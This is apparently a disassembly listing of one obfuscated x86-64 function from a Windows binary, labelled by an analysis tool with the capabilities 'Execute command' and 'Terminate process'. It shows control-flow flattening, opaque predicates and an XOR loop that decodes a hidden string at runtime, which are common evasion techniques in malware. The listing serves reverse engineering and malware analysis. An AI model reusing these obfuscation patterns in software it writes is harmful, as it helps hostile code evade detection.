Function at 0x1404c5d00
Capabilities:
Execute command
Terminate process

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
mov eax, dword [0x140ae96e8]
mov ecx, dword [0x140ae96ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp - 0x21]
cmp ecx, 0xa
setl byte [rbp - 0x22]
mov eax, 0x6955253e
mov r12d, 0xa3a983ec
mov r14d, 0xcaab65f3
jmp 0x1404c5d70
mov cl, byte [rbp - 0x21]
cmp byte [rbp - 0x22], 0
mov eax, 0x8f17f28a
mov edx, 0xfe02bfb1
cmovne eax, edx
test cl, cl
cmovne eax, edx
nop word [rax + rax]
cmp eax, 0x29800ad6
jg 0x1404c5f90
cmp eax, 0x8f17f28a
je 0x1404c5fb6
cmp eax, 0xe5f4af78
je 0x1404c619f
cmp eax, 0xfe02bfb1
jne 0x1404c5d70
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140616310
sub rsp, rax
mov qword [rbp - 0x48], rsp
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov r10, rsp
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140616310
sub rsp, rax
mov qword [rbp - 0x58], rsp
mov eax, Ordinal_50
call fcn.140616310
sub rsp, rax
mov qword [rbp - 0x18], rsp
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140616310
sub rsp, rax
mov qword [rbp - 0x40], rsp
mov eax, 0x40
call fcn.140616310
sub rsp, rax
mov qword [rbp - 0x30], rsp
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov qword [rbp - 0x50], rsp
mov eax, dword [0x140ae96f0]
mov ecx, dword [0x140ae96f4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 8]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x18]
or cl, al
mov eax, 0x1d30f79e
mov ecx, 0x57add62f
cmovne eax, ecx
mov edi, 0x1d30f79e
mov ecx, 0x91bb475f
cmovne edi, ecx
mov ebx, 0xa4b347bb
mov ecx, 0x9b178978
cmovne ebx, ecx
mov edx, 0x58604d01
jmp 0x1404c5e70
mov edx, 0xa9b3f8a8
nop dword [rax]
mov ecx, edx
cmp edx, 0xdca12
jle 0x1404c5ec0
cmp ecx, 0x349eadf6
jle 0x1404c5ef0
cmp ecx, 0x57add62f
je 0x1404c5f51
cmp ecx, 0x58604d01
jne 0x1404c5f77
movzx ecx, byte [rbp + 8]
cmp byte [rbp + 0x18], 0
mov esi, 0xa9b3f8a8
mov edx, 0xa9b3f8a8
jne 0x1404c5eb3
mov edx, 0xa4b347bb
test cl, cl
cmovne edx, esi
jmp 0x1404c5e70
cmp ecx, 0xa4b347ba
jg 0x1404c5f30
cmp ecx, 0x91bb475f
je 0x1404c5f5b
mov edx, ecx
cmp ecx, 0x9b178978
jne 0x1404c5e70
mov edx, 0xdca13
jmp 0x1404c5e70
mov edx, edi
cmp ecx, 0xdca13
je 0x1404c5e70
mov edx, ecx
cmp ecx, 0x1d30f79e
jne 0x1404c5e70
mov rcx, qword [0x14068333d]
mov qword [r10 + 5], rcx
mov rcx, qword [0x140683338]
mov qword [r10], rcx
mov edx, 0x91bb475f
jmp 0x1404c5e70
cmp ecx, 0xa4b347bb
je 0x1404c5e64
mov edx, ecx
cmp ecx, 0xa9b3f8a8
jne 0x1404c5e70
mov edx, ebx
jmp 0x1404c5e70
mov edx, 0x349eadf7
jmp 0x1404c5e70
mov rcx, qword [0x14068333d]
mov qword [r10 + 5], rcx
mov rcx, qword [0x140683338]
mov qword [r10], rcx
mov edx, eax
jmp 0x1404c5e70
mov edx, ecx
cmp ecx, 0x349eadf7
jne 0x1404c5e70
mov eax, 0x9ae3cc16
jmp 0x1404c61d0
cmp eax, 0x4d7d078a
je 0x1404c6932
cmp eax, 0x6955253e
je 0x1404c5d4e
cmp eax, 0x29800ad7
jne 0x1404c5d70
jmp 0x1404c8c4e
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140616310
sub rsp, rax
mov qword [rbp - 0x50], rsp
mov eax, reloc.WS2_32.dll_recv
call fcn.140616310
sub rsp, rax
mov r10, rsp
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140616310
sub rsp, rax
mov qword [rbp - 0x58], rsp
mov eax, Ordinal_50
call fcn.140616310
sub rsp, rax
mov qword [rbp - 0x18], rsp
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140616310
sub rsp, rax
mov qword [rbp - 0x40], rsp
mov eax, 0x40
call fcn.140616310
sub rsp, rax
mov qword [rbp - 0x30], rsp
mov eax, dword [0x140ae96f0]
mov ecx, dword [0x140ae96f4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 8]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x18]
or cl, al
mov eax, 0x1d30f79e
mov ecx, 0x57add62f
cmovne eax, ecx
mov edi, 0x1d30f79e
mov ecx, 0x91bb475f
cmovne edi, ecx
mov ebx, 0xa4b347bb
mov ecx, 0x9b178978
cmovne ebx, ecx
mov edx, 0x58604d01
jmp 0x1404c6080
mov edx, 0xa9b3f8a8
nop word cs:[rax + rax]
mov ecx, edx
cmp edx, 0xdca12
jle 0x1404c60d0
cmp ecx, 0x349eadf6
jle 0x1404c6100
cmp ecx, 0x57add62f
je 0x1404c6161
cmp ecx, 0x58604d01
jne 0x1404c6187
movzx ecx, byte [rbp + 8]
cmp byte [rbp + 0x18], 0
mov esi, 0xa9b3f8a8
mov edx, 0xa9b3f8a8
jne 0x1404c60c3
mov edx, 0xa4b347bb
test cl, cl
cmovne edx, esi
jmp 0x1404c6080
cmp ecx, 0xa4b347ba
jg 0x1404c6140
cmp ecx, 0x91bb475f
je 0x1404c616b
mov edx, ecx
cmp ecx, 0x9b178978
jne 0x1404c6080
mov edx, 0xdca13
jmp 0x1404c6080
mov edx, edi
cmp ecx, 0xdca13
je 0x1404c6080
mov edx, ecx
cmp ecx, 0x1d30f79e
jne 0x1404c6080
mov rcx, qword [0x14068333d]
mov qword [r10 + 5], rcx
mov rcx, qword [0x140683338]
mov qword [r10], rcx
mov edx, 0x91bb475f
jmp 0x1404c6080
cmp ecx, 0xa4b347bb
je 0x1404c6071
mov edx, ecx
cmp ecx, 0xa9b3f8a8
jne 0x1404c6080
mov edx, ebx
jmp 0x1404c6080
mov edx, 0x349eadf7
jmp 0x1404c6080
mov rcx, qword [0x14068333d]
mov qword [r10 + 5], rcx
mov rcx, qword [0x140683338]
mov qword [r10], rcx
mov edx, eax
jmp 0x1404c6080
mov edx, ecx
cmp ecx, 0x349eadf7
jne 0x1404c6080
mov eax, 0x9ae3cc16
jmp 0x1404c6970
mov eax, 0x4d7d078a
jmp 0x1404c5d70
mov eax, dword [0x140ae0c28]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2a54c62a
mov ecx, 0xe1544e28
cmove eax, ecx
cmp dword [0x140ae0c2c], 0xa
cmovl eax, ecx
nop
cmp eax, 0x2a54c629
jle 0x1404c6200
cmp eax, 0x2a54c62a
je 0x1404c65ba
cmp eax, 0x41ecc980
je 0x1404c70b2
cmp eax, 0x56f42e96
jne 0x1404c61d0
mov eax, 0x41ecc980
jmp 0x1404c61d0
cmp eax, 0x9ae3cc16
je 0x1404c61a9
cmp eax, 0xe1544e28
jne 0x1404c61d0
mov eax, dword [0x140ae8058]
mov ecx, dword [0x140ae805c]
lea edx, [rax - 1]
imul edx, eax
mov r12d, edx
test dl, 1
sete al
mov r15d, ecx
cmp ecx, 0xa
setl cl
or cl, al
mov edi, 0x59f55161
mov eax, 0x65842015
cmovne edi, eax
mov r11d, 0x59f55161
mov eax, 0xa3a983ec
cmovne r11d, eax
mov esi, 0x533fdd30
mov eax, 0x4da5db13
cmovne esi, eax
mov eax, 0x671b37f
jmp 0x1404c6280
mov rax, qword [rbp - 0x20]
mov qword [rbp], rax
mov eax, 0x5b32f6d6
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0x671b37e
jg 0x1404c64c0
cmp eax, 0xc20799f1
jg 0x1404c64f0
cmp eax, 0x8961d3c3
je 0x1404c6264
cmp eax, 0xab23402f
jne 0x1404c6280
test r12b, 1
mov r13, qword [rbp - 0x10]
sete byte [rbp + 0x25]
cmp r15d, 0xa
setl byte [rbp + 0x27]
mov ebx, 0x43b9ac7a
jmp 0x1404c62d0
mov ebx, 0xcaab65f3
nop word cs:[rax + rax]
nop
mov ecx, ebx
cmp ebx, 0x38d73c04
jg 0x1404c6320
cmp ecx, 0xea4ea559
jle 0x1404c6380
cmp ecx, 0xf5565266
jg 0x1404c63c5
cmp ecx, 0xea4ea55a
je 0x1404c6446
mov ebx, ecx
cmp ecx, 0xf32201ba
jne 0x1404c62d0
mov ebx, 0xd151bf3f
xor edx, edx
jmp 0x1404c62d0
cmp ecx, 0x533fdd2f
jle 0x1404c6350
cmp ecx, 0x5c32f26a
jg 0x1404c6434
cmp ecx, 0x533fdd30
je 0x1404c62bf
mov ebx, ecx
cmp ecx, 0x59f55161
jne 0x1404c62d0
mov ebx, 0xa3a983ec
jmp 0x1404c62d0
cmp ecx, 0x38d73c05
je 0x1404c6463
cmp ecx, 0x43b9ac7a
je 0x1404c647e
mov ebx, ecx
cmp ecx, 0x4da5db13
jne 0x1404c62d0
mov ebx, 0x5c32f26b
jmp 0x1404c62d0
mov ebx, edi
cmp ecx, 0xa3a983ec
je 0x1404c62d0
mov ebx, esi
cmp ecx, 0xcaab65f3
je 0x1404c62d0
mov ebx, ecx
cmp ecx, 0xd151bf3f
jne 0x1404c62d0
mov dword [rbp - 8], edx
mov ecx, dword [rbp - 8]
cmp ecx, 0xd
mov ebx, 0xf5565267
mov eax, 0xea4ea55a
cmovl ebx, eax
jmp 0x1404c62d0
mov ebx, r11d
cmp ecx, 0xf5565267
je 0x1404c62d0
mov ebx, ecx
cmp ecx, 0xfc27b8ae
jne 0x1404c62d0
mov rcx, qword [rbp + 0x18]
movsx ecx, byte [rcx]
movsxd rbx, dword [rbp - 8]
imul r8, rbx, 0x51eb851f
mov r9, r8
shr r9, 0x3f
sar r8, 0x24
add r8d, r9d
imul eax, r8d, 0x32
sub ebx, eax
mov eax, 0xffffffcb
sub eax, ebx
add ebx, 0x34
and eax, 0xc9819277
and ebx, 0x367e6d88
or ebx, eax
xor ebx, ecx
xor ebx, 0xc9819277
mov dword [rbp + 0x14], ebx
mov ebx, 0x38d73c05
jmp 0x1404c62d0
cmp ecx, 0x5c32f26b
jne 0x1404c649a
mov ebx, 0xf32201ba
jmp 0x1404c62d0
movsxd rcx, dword [rbp - 8]
mov qword [rbp + 8], rcx
mov rcx, qword [rbp + 8]
add rcx, r13
mov qword [rbp + 0x18], rcx
mov ebx, 0xfc27b8ae
jmp 0x1404c62d0
mov eax, dword [rbp + 0x14]
mov rcx, qword [rbp + 8]
mov byte [r10 + rcx], al
mov edx, dword [rbp - 8]
add edx, 1
mov ebx, 0xd151bf3f
jmp 0x1404c62d0
movzx ecx, byte [rbp + 0x25]
cmp byte [rbp + 0x27], 0
mov ebx, 0x533fdd30
cmovne ebx, r14d
test cl, cl
cmovne ebx, r14d
jmp 0x1404c62d0
mov ebx, ecx
cmp ecx, 0x65842015
jne 0x1404c62d0
mov eax, 0x2b8cd4b2
jmp 0x1404c6280
cmp eax, 0x5b32f6d5
jg 0x1404c6510
cmp eax, 0x671b37f
je 0x1404c6525
cmp eax, 0x2b8cd4b2
jne 0x1404c6280
mov eax, 0x65598abd
jmp 0x1404c6280
cmp eax, 0xc20799f2
je 0x1404c655e
cmp eax, 0xda1c1e3f
jne 0x1404c6280
mov qword [rbp - 0x10], r10
mov eax, 0xab23402f
jmp 0x1404c6280
cmp eax, 0x65598abd
jne 0x1404c6589
mov qword [rbp - 0x20], r10
mov eax, 0x8961d3c3
jmp 0x1404c6280
mov al, byte [r10 + 0xc]
mov byte [rbp + 8], al
mov ecx, 0x94736458
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xef07ddbb
je 0x1404c6574
cmp ecx, 0x94736458
jne 0x1404c6540
cmp byte [rbp + 8], 0
setne al
mov ecx, 0xef07ddbb
jmp 0x1404c6540
cmp byte [rbp + 0x26], 0
mov eax, 0x65598abd
mov ecx, 0xda1c1e3f
cmovne eax, ecx
jmp 0x1404c6280
and al, 1
mov byte [rbp + 0x18], al
mov al, byte [rbp + 0x18]
mov byte [rbp + 0x26], al
mov eax, 0xc20799f2
jmp 0x1404c6280
cmp eax, 0x5b32f6d6
jne 0x1404c6280
mov rax, qword [rbp]
mov qword [rbp - 0x38], r10
mov eax, dword [0x140ae0c28]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2a54c62a
mov ecx, 0x56f42e96
jmp 0x1404c61c2
mov eax, dword [0x140ae8058]
mov r15d, dword [0x140ae805c]
lea r9d, [rax - 1]
imul r9d, eax
test r9b, 1
sete al
cmp r15d, 0xa
setl cl
or cl, al
mov edi, 0x59f55161
mov eax, 0x65842015
cmovne edi, eax
mov r11d, 0x59f55161
mov eax, 0xa3a983ec
cmovne r11d, eax
mov esi, 0x533fdd30
mov eax, 0x4da5db13
cmovne esi, eax
mov eax, 0x671b37f
jmp 0x1404c6620
mov rax, qword [rbp - 0x20]
mov qword [rbp], rax
mov eax, 0x5b32f6d6
nop dword [rax]
cmp eax, 0x671b37e
jg 0x1404c6850
cmp eax, 0xc20799f1
jg 0x1404c6880
cmp eax, 0x8961d3c3
je 0x1404c660f
cmp eax, 0xab23402f
jne 0x1404c6620
test r9b, 1
mov r13, qword [rbp - 0x10]
sete byte [rbp + 0x25]
cmp r15d, 0xa
setl byte [rbp + 0x27]
mov ebx, 0x43b9ac7a
jmp 0x1404c6670
mov ebx, 0xcaab65f3
nop word cs:[rax + rax]
nop
mov ecx, ebx
cmp ebx, 0x38d73c04
jg 0x1404c66b0
cmp ecx, 0xea4ea559
jle 0x1404c66e0
cmp ecx, 0xf5565266
jg 0x1404c6760
cmp ecx, 0xea4ea55a
je 0x1404c67e0
mov ebx, ecx
cmp ecx, 0xf32201ba
jne 0x1404c6670
mov ebx, 0xd151bf3f
xor edx, edx
jmp 0x1404c6670
cmp ecx, 0x533fdd2f
jle 0x1404c6730
cmp ecx, 0x5c32f26a
jg 0x1404c67ce
cmp ecx, 0x533fdd30
je 0x1404c665f
mov ebx, ecx
cmp ecx, 0x59f55161
jne 0x1404c6670
mov ebx, 0xa3a983ec
jmp 0x1404c6670
mov ebx, edi
cmp ecx, 0xa3a983ec
je 0x1404c6670
mov ebx, esi
cmp ecx, 0xcaab65f3
je 0x1404c6670
mov ebx, ecx
cmp ecx, 0xd151bf3f
jne 0x1404c6670
mov dword [rbp - 8], edx
mov ecx, dword [rbp - 8]
cmp ecx, 0xd
mov ebx, 0xf5565267
mov eax, 0xea4ea55a
cmovl ebx, eax
jmp 0x1404c6670
cmp ecx, 0x38d73c05
je 0x1404c67fd
cmp ecx, 0x43b9ac7a
je 0x1404c6818
mov ebx, ecx
cmp ecx, 0x4da5db13
jne 0x1404c6670
mov ebx, 0x5c32f26b
jmp 0x1404c6670
mov ebx, r11d
cmp ecx, 0xf5565267
je 0x1404c6670
mov ebx, ecx
cmp ecx, 0xfc27b8ae
jne 0x1404c6670
mov rcx, qword [rbp + 0x18]
movsx ecx, byte [rcx]
movsxd rbx, dword [rbp - 8]
imul rax, rbx, 0x51eb851f
mov r8, rax
shr r8, 0x3f
sar rax, 0x24
add eax, r8d
imul eax, eax, 0x32
sub ebx, eax
mov eax, 0xffffffcb
sub eax, ebx
add ebx, 0x34
and eax, 0xc9819277
and ebx, 0x367e6d88
or ebx, eax
xor ebx, ecx
xor ebx, 0xc9819277
mov dword [rbp + 0x14], ebx
mov ebx, 0x38d73c05
jmp 0x1404c6670
cmp ecx, 0x5c32f26b
jne 0x1404c6834
mov ebx, 0xf32201ba
jmp 0x1404c6670
movsxd rcx, dword [rbp - 8]
mov qword [rbp + 8], rcx
mov rcx, qword [rbp + 8]
add rcx, r13
mov qword [rbp + 0x18], rcx
mov ebx, 0xfc27b8ae
jmp 0x1404c6670
mov eax, dword [rbp + 0x14]
mov rcx, qword [rbp + 8]
mov byte [r10 + rcx], al
mov edx, dword [rbp - 8]
add edx, 1
mov ebx, 0xd151bf3f
jmp 0x1404c6670
movzx ecx, byte [rbp + 0x25]
cmp byte [rbp + 0x27], 0
mov ebx, 0x533fdd30
cmovne ebx, r14d
test cl, cl
cmovne ebx, r14d
jmp 0x1404c6670
mov ebx, ecx
cmp ecx, 0x65842015
jne 0x1404c6670
mov eax, 0x2b8cd4b2
jmp 0x1404c6620
cmp eax, 0x5b32f6d5
jg 0x1404c68a0
cmp eax, 0x671b37f
je 0x1404c68b5
cmp eax, 0x2b8cd4b2
jne 0x1404c6620
mov eax, 0x65598abd
jmp 0x1404c6620
cmp eax, 0xc20799f2
je 0x1404c68ee
cmp eax, 0xda1c1e3f
jne 0x1404c6620
mov qword [rbp - 0x10], r10
mov eax, 0xab23402f
jmp 0x1404c6620
cmp eax, 0x65598abd
jne 0x1404c6919
mov qword [rbp - 0x20], r10
mov eax, 0x8961d3c3
jmp 0x1404c6620
mov al, byte [r10 + 0xc]
mov byte [rbp + 8], al
mov ecx, 0x94736458
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xef07ddbb
je 0x1404c6904
cmp ecx, 0x94736458
jne 0x1404c68d0
cmp byte [rbp + 8], 0
setne al
mov ecx, 0xef07ddbb
jmp 0x1404c68d0
cmp byte [rbp + 0x26], 0
mov eax, 0x65598abd
mov ecx, 0xda1c1e3f
cmovne eax, ecx
jmp 0x1404c6620
and al, 1
mov byte [rbp + 0x18], al
mov al, byte [rbp + 0x18]
mov byte [rbp + 0x26], al
mov eax, 0xc20799f2
jmp 0x1404c6620
cmp eax, 0x5b32f6d6
jne 0x1404c6620
mov rax, qword [rbp]
mov eax, 0xe1544e28
jmp 0x1404c61d0
mov rax, qword [rbp - 0x78]
mov rax, qword [rbp - 0x70]
mov rax, qword [rbp - 0x68]
mov eax, 0x29800ad7
jmp 0x1404c5d70
mov eax, dword [0x140ae0c28]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2a54c62a
mov ecx, 0xe1544e28
cmove eax, ecx
cmp dword [0x140ae0c2c], 0xa
cmovl eax, ecx
nop
cmp eax, 0x2a54c629
jle 0x1404c69a0
cmp eax, 0x2a54c62a
je 0x1404c6d3a
cmp eax, 0x41ecc980
je 0x1404c71aa
cmp eax, 0x56f42e96
jne 0x1404c6970
mov eax, 0x41ecc980
jmp 0x1404c6970
cmp eax, 0x9ae3cc16
je 0x1404c6948
cmp eax, 0xe1544e28
jne 0x1404c6970
mov eax, dword [0x140ae8058]
mov ecx, dword [0x140ae805c]
lea r9d, [rax - 1]
imul r9d, eax
test r9b, 1
sete al
mov r15d, ecx
cmp ecx, 0xa
setl cl
or cl, al
mov edi, 0x59f55161
mov eax, 0x65842015
cmovne edi, eax
mov r11d, 0x59f55161
cmovne r11d, r12d
mov esi, 0x533fdd30
mov eax, 0x4da5db13
cmovne esi, eax
mov eax, 0x671b37f
jmp 0x1404c6a10
mov rax, qword [rbp - 0x20]
mov qword [rbp], rax
mov eax, 0x5b32f6d6
nop dword [rax]
cmp eax, 0x671b37e
jg 0x1404c6c40
cmp eax, 0xc20799f1
jg 0x1404c6c70
cmp eax, 0x8961d3c3
je 0x1404c69ff
cmp eax, 0xab23402f
jne 0x1404c6a10
test r9b, 1
mov r13, qword [rbp - 0x10]
sete byte [rbp + 0x25]
cmp r15d, 0xa
setl byte [rbp + 0x27]
mov ebx, 0x43b9ac7a
jmp 0x1404c6a60
mov ebx, 0xcaab65f3
nop word cs:[rax + rax]
nop
mov ecx, ebx
cmp ebx, 0x38d73c04
jg 0x1404c6aa0
cmp ecx, 0xea4ea559
jle 0x1404c6ad0
cmp ecx, 0xf5565266
jg 0x1404c6b50
cmp ecx, 0xea4ea55a
je 0x1404c6bd0
mov ebx, ecx
cmp ecx, 0xf32201ba
jne 0x1404c6a60
mov ebx, 0xd151bf3f
xor edx, edx
jmp 0x1404c6a60
cmp ecx, 0x533fdd2f
jle 0x1404c6b20
cmp ecx, 0x5c32f26a
jg 0x1404c6bbe
cmp ecx, 0x533fdd30
je 0x1404c6a4f
mov ebx, ecx
cmp ecx, 0x59f55161
jne 0x1404c6a60
mov ebx, 0xa3a983ec
jmp 0x1404c6a60
mov ebx, edi
cmp ecx, 0xa3a983ec
je 0x1404c6a60
mov ebx, esi
cmp ecx, 0xcaab65f3
je 0x1404c6a60
mov ebx, ecx
cmp ecx, 0xd151bf3f
jne 0x1404c6a60
mov dword [rbp - 8], edx
mov ecx, dword [rbp - 8]
cmp ecx, 0xd
mov ebx, 0xf5565267
mov eax, 0xea4ea55a
cmovl ebx, eax
jmp 0x1404c6a60
cmp ecx, 0x38d73c05
je 0x1404c6bed
cmp ecx, 0x43b9ac7a
je 0x1404c6c08
mov ebx, ecx
cmp ecx, 0x4da5db13
jne 0x1404c6a60
mov ebx, 0x5c32f26b
jmp 0x1404c6a60
mov ebx, r11d
cmp ecx, 0xf5565267
je 0x1404c6a60
mov ebx, ecx
cmp ecx, 0xfc27b8ae
jne 0x1404c6a60
mov rcx, qword [rbp + 0x18]
movsx ecx, byte [rcx]
movsxd rbx, dword [rbp - 8]
imul rax, rbx, 0x51eb851f
mov r8, rax
shr r8, 0x3f
sar rax, 0x24
add eax, r8d
imul eax, eax, 0x32
sub ebx, eax
mov eax, 0xffffffcb
sub eax, ebx
add ebx, 0x34
and eax, 0xc9819277
and ebx, 0x367e6d88
or ebx, eax
xor ebx, ecx
xor ebx, 0xc9819277
mov dword [rbp + 0x14], ebx
mov ebx, 0x38d73c05
jmp 0x1404c6a60
cmp ecx, 0x5c32f26b
jne 0x1404c6c24
mov ebx, 0xf32201ba
jmp 0x1404c6a60
movsxd rcx, dword [rbp - 8]
mov qword [rbp + 8], rcx
mov rcx, qword [rbp + 8]
add rcx, r13
mov qword [rbp + 0x18], rcx
mov ebx, 0xfc27b8ae
jmp 0x1404c6a60
mov eax, dword [rbp + 0x14]
mov rcx, qword [rbp + 8]
mov byte [r10 + rcx], al
mov edx, dword [rbp - 8]
add edx, 1
mov ebx, 0xd151bf3f
jmp 0x1404c6a60
movzx ecx, byte [rbp + 0x25]
cmp byte [rbp + 0x27], 0
mov ebx, 0x533fdd30
cmovne ebx, r14d
test cl, cl
cmovne ebx, r14d
jmp 0x1404c6a60
mov ebx, ecx
cmp ecx, 0x65842015
jne 0x1404c6a60
mov eax, 0x2b8cd4b2
jmp 0x1404c6a10
cmp eax, 0x5b32f6d5
jg 0x1404c6c90
cmp eax, 0x671b37f
je 0x1404c6ca5
cmp eax, 0x2b8cd4b2
jne 0x1404c6a10
mov eax, 0x65598abd
jmp 0x1404c6a10
cmp eax, 0xc20799f2
je 0x1404c6cde
cmp eax, 0xda1c1e3f
jne 0x1404c6a10
mov qword [rbp - 0x10], r10
mov eax, 0xab23402f
jmp 0x1404c6a10
cmp eax, 0x65598abd
jne 0x1404c6d09
mov qword [rbp - 0x20], r10
mov eax, 0x8961d3c3
jmp 0x1404c6a10
mov al, byte [r10 + 0xc]
mov byte [rbp + 8], al
mov ecx, 0x94736458
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xef07ddbb
je 0x1404c6cf4
cmp ecx, 0x94736458
jne 0x1404c6cc0
cmp byte [rbp + 8], 0
setne al
mov ecx, 0xef07ddbb
jmp 0x1404c6cc0
cmp byte [rbp + 0x26], 0
mov eax, 0x65598abd
mov ecx, 0xda1c1e3f
cmovne eax, ecx
jmp 0x1404c6a10
and al, 1
mov byte [rbp + 0x18], al
mov al, byte [rbp + 0x18]
mov byte [rbp + 0x26], al
mov eax, 0xc20799f2
jmp 0x1404c6a10
cmp eax, 0x5b32f6d6
jne 0x1404c6a10
mov rax, qword [rbp]
mov qword [rbp - 0x38], r10
mov eax, dword [0x140ae0c28]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2a54c62a
mov ecx, 0x56f42e96
jmp 0x1404c6961
mov eax, dword [0x140ae8058]
mov r15d, dword [0x140ae805c]
lea r9d, [rax - 1]
imul r9d, eax
test r9b, 1
sete al
cmp r15d, 0xa
setl cl
or cl, al
mov edi, 0x59f55161
mov eax, 0x65842015
cmovne edi, eax
mov r11d, 0x59f55161
cmovne r11d, r12d
mov esi, 0x533fdd30
mov eax, 0x4da5db13
cmovne esi, eax
mov eax, 0x671b37f
jmp 0x1404c6da0
mov rax, qword [rbp - 0x20]
mov qword [rbp], rax
mov eax, 0x5b32f6d6
nop word [rax + rax]
cmp eax, 0x671b37e
jg 0x1404c6fd0
cmp eax, 0xc20799f1
jg 0x1404c7000
cmp eax, 0x8961d3c3
je 0x1404c6d8a
cmp eax, 0xab23402f
jne 0x1404c6da0
test r9b, 1
mov r13, qword [rbp - 0x10]
sete byte [rbp + 0x25]
cmp r15d, 0xa
setl byte [rbp + 0x27]
mov ebx, 0x43b9ac7a
jmp 0x1404c6df0
mov ebx, 0xcaab65f3
nop word cs:[rax + rax]
nop
mov ecx, ebx
cmp ebx, 0x38d73c04
jg 0x1404c6e30
cmp ecx, 0xea4ea559
jle 0x1404c6e60
cmp ecx, 0xf5565266
jg 0x1404c6ee0
cmp ecx, 0xea4ea55a
je 0x1404c6f60
mov ebx, ecx
cmp ecx, 0xf32201ba
jne 0x1404c6df0
mov ebx, 0xd151bf3f
xor edx, edx
jmp 0x1404c6df0
cmp ecx, 0x533fdd2f
jle 0x1404c6eb0
cmp ecx, 0x5c32f26a
jg 0x1404c6f4e
cmp ecx, 0x533fdd30
je 0x1404c6ddf
mov ebx, ecx
cmp ecx, 0x59f55161
jne 0x1404c6df0
mov ebx, 0xa3a983ec
jmp 0x1404c6df0
mov ebx, edi
cmp ecx, 0xa3a983ec
je 0x1404c6df0
mov ebx, esi
cmp ecx, 0xcaab65f3
je 0x1404c6df0
mov ebx, ecx
cmp ecx, 0xd151bf3f
jne 0x1404c6df0
mov dword [rbp - 8], edx
mov ecx, dword [rbp - 8]
cmp ecx, 0xd
mov ebx, 0xf5565267
mov eax, 0xea4ea55a
cmovl ebx, eax
jmp 0x1404c6df0
cmp ecx, 0x38d73c05
je 0x1404c6f7d
cmp ecx, 0x43b9ac7a
je 0x1404c6f98
mov ebx, ecx
cmp ecx, 0x4da5db13
jne 0x1404c6df0
mov ebx, 0x5c32f26b
jmp 0x1404c6df0
mov ebx, r11d
cmp ecx, 0xf5565267
je 0x1404c6df0
mov ebx, ecx
cmp ecx, 0xfc27b8ae
jne 0x1404c6df0
mov rcx, qword [rbp + 0x18]
movsx ecx, byte [rcx]
movsxd rbx, dword [rbp - 8]
imul rax, rbx, 0x51eb851f
mov r8, rax
shr r8, 0x3f
sar rax, 0x24
add eax, r8d
imul eax, eax, 0x32
sub ebx, eax
mov eax, 0xffffffcb
sub eax, ebx
add ebx, 0x34
and eax, 0xc9819277
and ebx, 0x367e6d88
or ebx, eax
xor ebx, ecx
xor ebx, 0xc9819277
mov dword [rbp + 0x14], ebx
mov ebx, 0x38d73c05
jmp 0x1404c6df0
cmp ecx, 0x5c32f26b
jne 0x1404c6fb4
mov ebx, 0xf32201ba
jmp 0x1404c6df0
movsxd rcx, dword [rbp - 8]
mov qword [rbp + 8], rcx
mov rcx, qword [rbp + 8]
add rcx, r13
mov qword [rbp + 0x18], rcx
mov ebx, 0xfc27b8ae
jmp 0x1404c6df0
mov eax, dword [rbp + 0x14]
mov rcx, qword [rbp + 8]
mov byte [r10 + rcx], al
mov edx, dword [rbp - 8]
add edx, 1
mov ebx, 0xd151bf3f
jmp 0x1404c6df0
movzx ecx, byte [rbp + 0x25]
cmp byte [rbp + 0x27], 0
mov ebx, 0x533fdd30
cmovne ebx, r14d
test cl, cl
cmovne ebx, r14d
jmp 0x1404c6df0
mov ebx, ecx
cmp ecx, 0x65842015
jne 0x1404c6df0
mov eax, 0x2b8cd4b2
jmp 0x1404c6da0
cmp eax, 0x5b32f6d5
jg 0x1404c7020
cmp eax, 0x671b37f
je 0x1404c7035
cmp eax, 0x2b8cd4b2
jne 0x1404c6da0
mov eax, 0x65598abd
jmp 0x1404c6da0
cmp eax, 0xc20799f2
je 0x1404c706e
cmp eax, 0xda1c1e3f
jne 0x1404c6da0
mov qword [rbp - 0x10], r10
mov eax, 0xab23402f
jmp 0x1404c6da0
cmp eax, 0x65598abd
jne 0x1404c7099
mov qword [rbp - 0x20], r10
mov eax, 0x8961d3c3
jmp 0x1404c6da0
mov al, byte [r10 + 0xc]
mov byte [rbp + 8], al
mov ecx, 0x94736458
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xef07ddbb
je 0x1404c7084
cmp ecx, 0x94736458
jne 0x1404c7050
cmp byte [rbp + 8], 0
setne al
mov ecx, 0xef07ddbb
jmp 0x1404c7050
cmp byte [rbp + 0x26], 0
mov eax, 0x65598abd
mov ecx, 0xda1c1e3f
cmovne eax, ecx
jmp 0x1404c6da0
and al, 1
mov byte [rbp + 0x18], al
mov al, byte [rbp + 0x18]
mov byte [rbp + 0x26], al
mov eax, 0xc20799f2
jmp 0x1404c6da0
cmp eax, 0x5b32f6d6
jne 0x1404c6da0
mov rax, qword [rbp]
mov eax, 0xe1544e28
jmp 0x1404c6970
mov rdx, qword [rbp - 0x38]
sub rsp, 0x20
mov rsi, qword [rbp - 0x48]
mov rcx, rsi
call fcn.140282cd0
add rsp, 0x20
mov eax, dword [0x140ae0ba8]
